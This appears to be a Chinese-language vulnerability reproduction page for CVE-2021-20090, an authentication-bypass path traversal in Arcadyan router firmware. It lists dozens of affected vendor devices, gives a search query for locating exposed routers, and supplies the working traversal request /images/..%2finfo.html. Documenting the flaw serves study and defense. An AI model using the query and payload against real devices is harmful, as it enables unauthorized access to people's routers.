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Arcadyan固件 image 路径遍历漏洞 CVE-2021-20090

漏洞描述

Arcadyan 制造的网络设备的 Web 界面中存在路径遍历漏洞,包括 Buffalo WSR-2533DHPL2 固件版本 <= 1.02 和 WSR-2533DHP3 固件版本 <= 1.24,可能允许未经身份验证的远程攻击者绕过身份验证。

漏洞影响

VendorDeviceFound on version
ADBADSL wireless IAD router1.26S-R-3P
ArcadyanARV751900.96.00.96.617ES
ArcadyanVRV95176.00.17 build04
ArcadyanVGV75193.01.116
ArcadyanVRV95181.01.00 build44
ASMAXBBR-4MG / SMC7908 ADSL0.08
ASUSDSL-AC88U (Arc VRV9517)1.10.05 build502
ASUSDSL-AC87VG (Arc VRV9510)1.05.18 build305
ASUSDSL-AC31001.10.05 build503
ASUSDSL-AC68VG5.00.08 build272
BeelineSmart Box Flash1.00.13_beta4
British TelecomWE410443-SA1.02.12 build02
BuffaloWSR-2533DHPL21.02
BuffaloWSR-2533DHP31.24
BuffaloBBR-4HG
BuffaloBBR-4MG2.08 Release 0002
BuffaloWSR-3200AX4S1.1
BuffaloWSR-1166DHP21.15
BuffaloWXR-5700AX7S1.11
Deutsche TelekomSpeedport Smart 3010137.4.8.001.0
HughesNetHT2000W0.10.10
KPNExperiaBox V10A (Arcadyan VRV9517)5.00.48 build453
KPNVGV75193.01.116
O2HomeBox 64411.01.36
OrangeLiveBox Fibra (PRV3399)00.96.00.96.617ES
SkinnySmart Modem (Arcadyan VRV9517)6.00.16 build01
SparkNZSmart Modem (Arcadyan VRV9517)6.00.17 build04
Telecom (Argentina)Arcadyan VRV9518VAC23-A-OS-AM1.01.00 build44
TelMexPRV33AC1.31.005.0012
TelMexVRV7006
TelstraSmart Modem Gen 2 (LH1000)0.13.01r
TelusWiFi Hub (PRV65B444A-S-TS)v3.00.20
TelusNH20A1.00.10debug build06
VerizonFios G31002.0.0.6
VodafoneEasyBox 9044.16
VodafoneEasyBox 90330.05.714
VodafoneEasyBox 80220.02.226

网络测绘

app="Arcadyan-httpd-1.0" 

漏洞复现

登录页面

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通过目录遍历访问主页面 info.html

/images/..%2finfo.html

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